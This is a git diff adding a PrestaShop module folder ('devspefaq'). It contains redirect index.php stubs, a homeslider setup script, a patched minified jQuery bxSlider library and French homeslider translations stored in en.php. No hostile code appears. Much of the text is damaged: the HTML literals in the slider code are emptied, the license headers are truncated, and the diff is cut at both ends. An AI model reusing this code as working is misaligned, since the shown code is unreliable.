--git a/modules/devspefaq/gray_prev.png b/modules/devspefaq/gray_prev.png new file mode 100755 index 0000000..a7bfa9a Binary files /dev/null and b/modules/devspefaq/gray_prev.png differ diff --git a/modules/devspefaq/gray_prev0.png b/modules/devspefaq/gray_prev0.png new file mode 100755 index 0000000..6091650 Binary files /dev/null and b/modules/devspefaq/gray_prev0.png differ diff --git a/modules/devspefaq/index.php b/modules/devspefaq/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/devspefaq/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspefaq/js/homeslider.js b/modules/devspefaq/js/homeslider.js new file mode 100755 index 0000000..62e5756 --- /dev/null +++ b/modules/devspefaq/js/homeslider.js @@ -0,0 +1,46 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(function(){ + + if (typeof(homeslider_speed) == 'undefined') + homeslider_speed = 500; + if (typeof(homeslider_pause) == 'undefined') + homeslider_pause = 3000; + if (typeof(homeslider_loop) == 'undefined') + homeslider_loop = true; + + $('#homeslider').bxSlider({ + infiniteLoop: homeslider_loop, + hideControlOnEnd: true, + pager: false, + autoHover: true, + auto: homeslider_loop, + speed: homeslider_speed, + pause: homeslider_pause, + controls: true + }); +}); \ No newline at end of file diff --git a/modules/devspefaq/js/index.php b/modules/devspefaq/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspefaq/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspefaq/js/jquery.bxSlider.min.js b/modules/devspefaq/js/jquery.bxSlider.min.js new file mode 100755 index 0000000..a214174 --- /dev/null +++ b/modules/devspefaq/js/jquery.bxSlider.min.js @@ -0,0 +1,115 @@ +/** + * WARNING : library has been patched (search for START PATCH tag) from base version 3.0 to fix an error with IE < 9 + * jQuery bxSlider v3.0 + * http://bxslider.com + * + * Copyright 2010, Steven Wanderski + * http://stevenwanderski.com + * + * Free to use and abuse under the MIT license. + * http://www.opensource.org/licenses/mit-license.php + * + */ +(function($){$.fn.bxSlider=function(options){var defaults={mode:'horizontal',infiniteLoop:true,hideControlOnEnd:false,controls:true,speed:500,easing:'swing',pager:false,pagerSelector:null,pagerType:'full',pagerLocation:'bottom',pagerShortSeparator:'/',pagerActiveClass:'pager-active',nextText:'next',nextImage:'',nextSelector:null,prevText:'prev',prevImage:'',prevSelector:null,captions:false,captionsSelector:null,auto:false,autoDirection:'next',autoControls:false,autoControlsSelector:null,autoStart:true,autoHover:false,autoDelay:0,pause:3000,startText:'start',startImage:'',stopText:'stop',stopImage:'',ticker:false,tickerSpeed:5000,tickerDirection:'next',tickerHover:false,wrapperClass:'bx-wrapper',startingSlide:0,displaySlideQty:1,moveSlideQty:1,randomStart:false,onBeforeSlide:function(){},onAfterSlide:function(){},onLastSlide:function(){},onFirstSlide:function(){},onNextSlide:function(){},onPrevSlide:function(){},buildPager:null} +var options=$.extend(defaults,options);var base=this;var $parent='';var $origElement='';var $children='';var $outerWrapper='';var $firstChild='';var childrenWidth='';var childrenOuterWidth='';var wrapperWidth='';var wrapperHeight='';var $pager='';var interval='';var $autoControls='';var $stopHtml='';var $startContent='';var $stopContent='';var autoPlaying=true;var loaded=false;var childrenMaxWidth=0;var childrenMaxHeight=0;var currentSlide=0;var origLeft=0;var origTop=0;var origShowWidth=0;var origShowHeight=0;var tickerLeft=0;var tickerTop=0;var isWorking=false;var firstSlide=0;var lastSlide=$children.length-1;this.goToSlide=function(number,stopAuto){if(!isWorking){isWorking=true;currentSlide=number;options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +slide=number;if(slide==firstSlide){options.onFirstSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(slide==lastSlide){options.onLastSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(options.mode=='horizontal'){$parent.animate({'left':'-'+getSlidePosition(slide,'left')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){$parent.animate({'top':'-'+getSlidePosition(slide,'top')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +checkEndControls();if(options.moveSlideQty>1){number=Math.floor(number/options.moveSlideQty);} +makeSlideActive(number);showCaptions();}} +this.goToNextSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=(currentSlide+(options.moveSlideQty));if(currentSlide<=lastSlide){checkEndControls();options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}else{currentSlide-=options.moveSlideQty;}}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide+options.moveSlideQty);if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;slideLoop=true;} +options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'-='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'-='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToPreviousSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=currentSlide-options.moveSlideQty;if(currentSlide<0){currentSlide=0;if(options.hideControlOnEnd){$('.bx-prev',$outerWrapper).hide();}} +checkEndControls();options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide-(options.moveSlideQty));if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;} +slideLoop=true;} +options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'+='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'+='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToFirstSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(firstSlide,stopAuto);} +this.goToLastSlide=function(){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(lastSlide,stopAuto);} +this.getCurrentSlide=function(){return currentSlide;} +this.getSlideCount=function(){return $children.length;} +this.stopShow=function(changeText){clearInterval(interval);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.autoControls){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startShow=function(changeText){if(typeof(changeText)=='undefined'){var changeText=true;} +setAutoInterval();if(changeText&&options.autoControls){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}} +this.stopTicker=function(changeText){$parent.stop();if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startTicker=function(changeText){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){var stoppedLeft=parseInt($parent.css('left'));var remainingDistance=(origShowWidth+stoppedLeft)+$children.eq(0).width();}else if(options.tickerDirection=='prev'){var stoppedLeft=-parseInt($parent.css('left'));var remainingDistance=(stoppedLeft)-$children.eq(0).width();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowWidth;moveTheShow(tickerLeft,remainingDistance,finishingSpeed);}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){var stoppedTop=parseInt($parent.css('top'));var remainingDistance=(origShowHeight+stoppedTop)+$children.eq(0).height();}else if(options.tickerDirection=='prev'){var stoppedTop=-parseInt($parent.css('top'));var remainingDistance=(stoppedTop)-$children.eq(0).height();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowHeight;moveTheShow(tickerTop,remainingDistance,finishingSpeed);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}}} +this.initShow=function(){$parent=$(this);$origElement=$parent.clone();$children=$parent.children();$outerWrapper='';$firstChild=$parent.children(':first');childrenWidth=$firstChild.width();childrenMaxWidth=0;childrenOuterWidth=$firstChild.outerWidth();childrenMaxHeight=0;wrapperWidth=getWrapperWidth();wrapperHeight=getWrapperHeight();isWorking=false;$pager='';currentSlide=0;origLeft=0;origTop=0;interval='';$autoControls='';$stopHtml='';$startContent='';$stopContent='';autoPlaying=true;loaded=false;origShowWidth=0;origShowHeight=0;tickerLeft=0;tickerTop=0;firstSlide=0;lastSlide=$children.length-1;$children.each(function(index){if($(this).outerHeight()>childrenMaxHeight){childrenMaxHeight=$(this).outerHeight();} +if($(this).outerWidth()>childrenMaxWidth){childrenMaxWidth=$(this).outerWidth();}});if(options.randomStart){var randomNumber=Math.floor(Math.random()*$children.length);currentSlide=randomNumber;origLeft=childrenOuterWidth*(options.moveSlideQty+randomNumber);origTop=childrenMaxHeight*(options.moveSlideQty+randomNumber);}else{currentSlide=options.startingSlide;origLeft=childrenOuterWidth*(options.moveSlideQty+options.startingSlide);origTop=childrenMaxHeight*(options.moveSlideQty+options.startingSlide);} +initCss();if(options.pager&&!options.ticker){if(options.pagerType=='full'){showPager('full');}else if(options.pagerType=='short'){showPager('short');}} +if(options.controls&&!options.ticker){setControlsVars();} +if(options.auto||options.ticker){if(options.autoControls){setAutoControlsVars();} +if(options.autoStart){setTimeout(function(){base.startShow(true);},options.autoDelay);}else{base.stopShow(true);} +if(options.autoHover&&!options.ticker){setAutoHover();}} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +checkEndControls();if(options.captions){showCaptions();} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));} +this.destroyShow=function(){clearInterval(interval);$('.bx-next, .bx-prev, .bx-pager, .bx-auto',$outerWrapper).remove();$parent.unwrap().unwrap().removeAttr('style');$parent.children().removeAttr('style').not('.pager').remove();$children.removeClass('pager');} +this.reloadShow=function(){base.destroyShow();base.initShow();} +function initCss(){setChildrenLayout(options.startingSlide);if(options.mode=='horizontal'){$parent.wrap('
          ').wrap('
          ').css({width:'999999px',position:'relative',left:'-'+(origLeft)+'px'});$parent.children().css({width:childrenWidth,'float':'left',listStyle:'none'});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='vertical'){$parent.wrap('
          ').wrap('
          ').css({height:'999999px',position:'relative',top:'-'+(origTop)+'px'});$parent.children().css({listStyle:'none',height:childrenMaxHeight});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='fade'){$parent.wrap('
          ').wrap('
          ');$parent.children().css({listStyle:'none',position:'absolute',top:0,left:0,zIndex:98});$outerWrapper=$parent.parent().parent();$children.not(':eq('+currentSlide+')').fadeTo(0,0);$children.eq(currentSlide).css('zIndex',99);} +if(options.captions&&options.captionsSelector==null){$outerWrapper.append('
          ');}} +function setChildrenLayout(){if(options.mode=='horizontal'||options.mode=='vertical'){var $prependedChildren=getArraySample($children,0,options.moveSlideQty,'backward');$.each($prependedChildren,function(index){$parent.prepend($(this));});var totalNumberAfterWindow=($children.length+options.moveSlideQty)-1;var pagerExcess=$children.length-options.displaySlideQty;var numberToAppend=totalNumberAfterWindow-pagerExcess;var $appendedChildren=getArraySample($children,0,numberToAppend,'forward');if(options.infiniteLoop){$.each($appendedChildren,function(index){$parent.append($(this));});}}} +function setControlsVars(){if(options.nextImage!=''){nextContent=options.nextImage;nextType='image';}else{nextContent=options.nextText;nextType='text';} +if(options.prevImage!=''){prevContent=options.prevImage;prevType='image';}else{prevContent=options.prevText;prevType='text';} +showControls(nextType,nextContent,prevType,prevContent);} +function setAutoInterval(){if(options.auto){if(!options.infiniteLoop){if(options.autoDirection=='next'){interval=setInterval(function(){currentSlide+=options.moveSlideQty;if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;} +base.goToSlide(currentSlide,false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){currentSlide-=options.moveSlideQty;if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;}} +base.goToSlide(currentSlide,false);},options.pause);}}else{if(options.autoDirection=='next'){interval=setInterval(function(){base.goToNextSlide(false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){base.goToPreviousSlide(false);},options.pause);}}}else if(options.ticker){options.tickerSpeed*=10;$('.pager',$outerWrapper).each(function(index){origShowWidth+=$(this).width();origShowHeight+=$(this).height();});if(options.tickerDirection=='prev'&&options.mode=='horizontal'){$parent.css('left','-'+(origShowWidth+origLeft)+'px');}else if(options.tickerDirection=='prev'&&options.mode=='vertical'){$parent.css('top','-'+(origShowHeight+origTop)+'px');} +if(options.mode=='horizontal'){tickerLeft=parseInt($parent.css('left'));moveTheShow(tickerLeft,origShowWidth,options.tickerSpeed);}else if(options.mode=='vertical'){tickerTop=parseInt($parent.css('top'));moveTheShow(tickerTop,origShowHeight,options.tickerSpeed);} +if(options.tickerHover){setTickerHover();}}} +function moveTheShow(leftCss,distance,speed){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){$parent.animate({'left':'-='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'left':'+='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){$parent.animate({'top':'-='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'top':'+='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}}} +function setAutoControlsVars(){if(options.startImage!=''){startContent=options.startImage;startType='image';}else{startContent=options.startText;startType='text';} +if(options.stopImage!=''){stopContent=options.stopImage;stopType='image';}else{stopContent=options.stopText;stopType='text';} +showAutoControls(startType,startContent,stopType,stopContent);} +function setAutoHover(){$outerWrapper.find('.bx-window').hover(function(){if(autoPlaying){base.stopShow(false);}},function(){if(autoPlaying){base.startShow(false);}});} +function setTickerHover(){$parent.hover(function(){if(autoPlaying){base.stopTicker(false);}},function(){if(autoPlaying){base.startTicker(false);}});} +function setChildrenFade(){$children.not(':eq('+currentSlide+')').fadeTo(options.speed,0).css('zIndex',98);$children.eq(currentSlide).css('zIndex',99).fadeTo(options.speed,1,function(){isWorking=false;if(jQuery.browser.msie){$children.eq(currentSlide).get(0).style.removeAttribute('filter');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});};function makeSlideActive(number){if(options.pagerType=='full'&&options.pager){$('a',$pager).removeClass(options.pagerActiveClass);$('a',$pager).eq(number).addClass(options.pagerActiveClass);}else if(options.pagerType=='short'&&options.pager){$('.bx-pager-current',$pager).html(currentSlide+1);}} +function showControls(nextType,nextContent,prevType,prevContent){var $nextHtml=$('');var $prevHtml=$('');if(nextType=='text'){$nextHtml.html(nextContent);}else{$nextHtml.html('');} +if(prevType=='text'){$prevHtml.html(prevContent);}else{$prevHtml.html('');} +if(options.prevSelector){$(options.prevSelector).append($prevHtml);}else{$outerWrapper.append($prevHtml);} +if(options.nextSelector){$(options.nextSelector).append($nextHtml);}else{$outerWrapper.append($nextHtml);} +$nextHtml.click(function(){base.goToNextSlide();return false;});$prevHtml.click(function(){base.goToPreviousSlide();return false;});} +function showPager(type){var pagerQty=$children.length;if(options.moveSlideQty>1){if($children.length%options.moveSlideQty!=0){pagerQty=Math.ceil($children.length/options.moveSlideQty);}else{pagerQty=$children.length/options.moveSlideQty;}} +var pagerString='';if(options.buildPager){for(var i=0;i'+i+'';}}else if(type=='short'){pagerString=''+(options.startingSlide+1)+' '+options.pagerShortSeparator+' '+$children.length+'';} +if(options.pagerSelector){$(options.pagerSelector).append(pagerString);$pager=$(options.pagerSelector);}else{var $pagerContainer=$('
          ');$pagerContainer.append(pagerString);if(options.pagerLocation=='top'){$outerWrapper.prepend($pagerContainer);}else if(options.pagerLocation=='bottom'){$outerWrapper.append($pagerContainer);} +$pager=$('.bx-pager',$outerWrapper);} +$pager.children().click(function(){if(options.pagerType=='full'){var slideIndex=$pager.children().index(this);if(options.moveSlideQty>1){slideIndex*=options.moveSlideQty;} +base.goToSlide(slideIndex);} +return false;});} +function showCaptions(){var caption=$('img',$children.eq(currentSlide)).attr('title');if(caption!=''){if(options.captionsSelector){$(options.captionsSelector).html(caption);}else{$('.bx-captions',$outerWrapper).html(caption);}}else{if(options.captionsSelector){$(options.captionsSelector).html(' ');}else{$('.bx-captions',$outerWrapper).html(' ');}}} +function showAutoControls(startType,startContent,stopType,stopContent){$autoControls=$('');if(startType=='text'){$startContent=startContent;}else{$startContent='';} +if(stopType=='text'){$stopContent=stopContent;}else{$stopContent='';} +if(options.autoControlsSelector){$(options.autoControlsSelector).append($autoControls);}else{$outerWrapper.append('
          ');$('.bx-auto',$outerWrapper).html($autoControls);} +$autoControls.click(function(){if(options.ticker){if($(this).hasClass('stop')){base.stopTicker();}else if($(this).hasClass('start')){base.startTicker();}}else{if($(this).hasClass('stop')){base.stopShow(true);}else if($(this).hasClass('start')){base.startShow(true);}} +return false;});} +function checkEndControls(){if(!options.infiniteLoop&&options.hideControlOnEnd){if(currentSlide==firstSlide){$('.bx-prev',$outerWrapper).hide();}else{$('.bx-prev',$outerWrapper).show();} +if(currentSlide==lastSlide){$('.bx-next',$outerWrapper).hide();}else{$('.bx-next',$outerWrapper).show();}}} +function getSlidePosition(number,side){if(side=='left'){var position=$('.pager',$outerWrapper).eq(number).position().left;}else if(side=='top'){var position=$('.pager',$outerWrapper).eq(number).position().top;} +return position;} +function getWrapperWidth(){var wrapperWidth=$firstChild.outerWidth()*options.displaySlideQty;return wrapperWidth;} +function getWrapperHeight(){var wrapperHeight=$firstChild.outerHeight()*options.displaySlideQty;return wrapperHeight;} +function getArraySample(array,start,length,direction){var sample=[];var loopLength=length;var startPopulatingArray=false;if(direction=='backward'){array=$.makeArray(array);array.reverse();} +while(loopLength>0){$.each(array,function(index,val){if(loopLength>0){if(!startPopulatingArray){if(index==start){startPopulatingArray=true;sample.push($(this).clone());loopLength--;}}else{sample.push($(this).clone());loopLength--;}}else{return false;}});} +return sample;} +this.each(function(){base.initShow();});return this;} +jQuery.fx.prototype.cur=function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop];} +var r=parseFloat(jQuery.css(this.elem,this.prop));/* START PATCH Patch applied on top of library version 3.0 (see https://github.com/wandoledzep/bxslider/issues/89) Empty strings, null, undefined and "auto" are converted to 0, complex values such as "rotate(1rad)" are returned as is, simple values such as "10px" are parsed to Float.*/return isNaN(parsed = parseFloat(r)) ? !r || r === "auto" ? 0 : r : parsed;/* END PATCH - BEFORE PATCH WAS return r; */}})(jQuery); \ No newline at end of file diff --git a/modules/devspefaq/logo.gif b/modules/devspefaq/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/devspefaq/logo.gif differ diff --git a/modules/devspefaq/logo.png b/modules/devspefaq/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/devspefaq/logo.png differ diff --git a/modules/devspefaq/translations/en.php b/modules/devspefaq/translations/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/devspefaq/translations/en.php @@ -0,0 +1,4 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/devspefaq/translations/index.php b/modules/devspefaq/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspefaq/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license 